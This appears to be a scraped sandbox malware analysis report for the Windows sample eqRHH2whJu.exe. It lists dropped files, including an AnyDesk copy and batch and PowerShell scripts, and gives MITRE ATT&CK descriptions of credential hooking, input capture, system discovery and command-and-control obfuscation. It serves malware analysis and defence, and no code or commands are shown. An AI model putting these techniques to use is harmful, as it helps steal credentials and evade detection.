Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Intel\ 131.pdf

C:\Intel\AnyDesk\AnyDesk.exe

C:\Intel\AnyDesk\bat.bat

C:\Intel\AnyDesk\bat.lnk

C:\Intel\AnyDesk\wol.ps1

C:\Intel\Trays.rar

C:\Intel\Trays\4t-min.chm

C:\Intel\Trays\4t-min64.exe

C:\Intel\Trays\4t-min_pad.xml

C:\Intel\Trays\7z.dll

C:\Intel\Trays\File_id.diz

Windows Analysis Report
eqRHH2whJu.exe

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	Process: OS API Execution, Process: Process Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of services running on remote hosts and local network infrastructure devices, including those that may be vulnerable to remote software exploitation. Common methods to acquire this information include port and/or vulnerability scans using tools that are brought onto a system.
Tactics:	Discovery
Data Sources:	Cloud Service: Cloud Service Enumeration, Command: Command Execution, Network Traffic: Network Traffic Flow
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre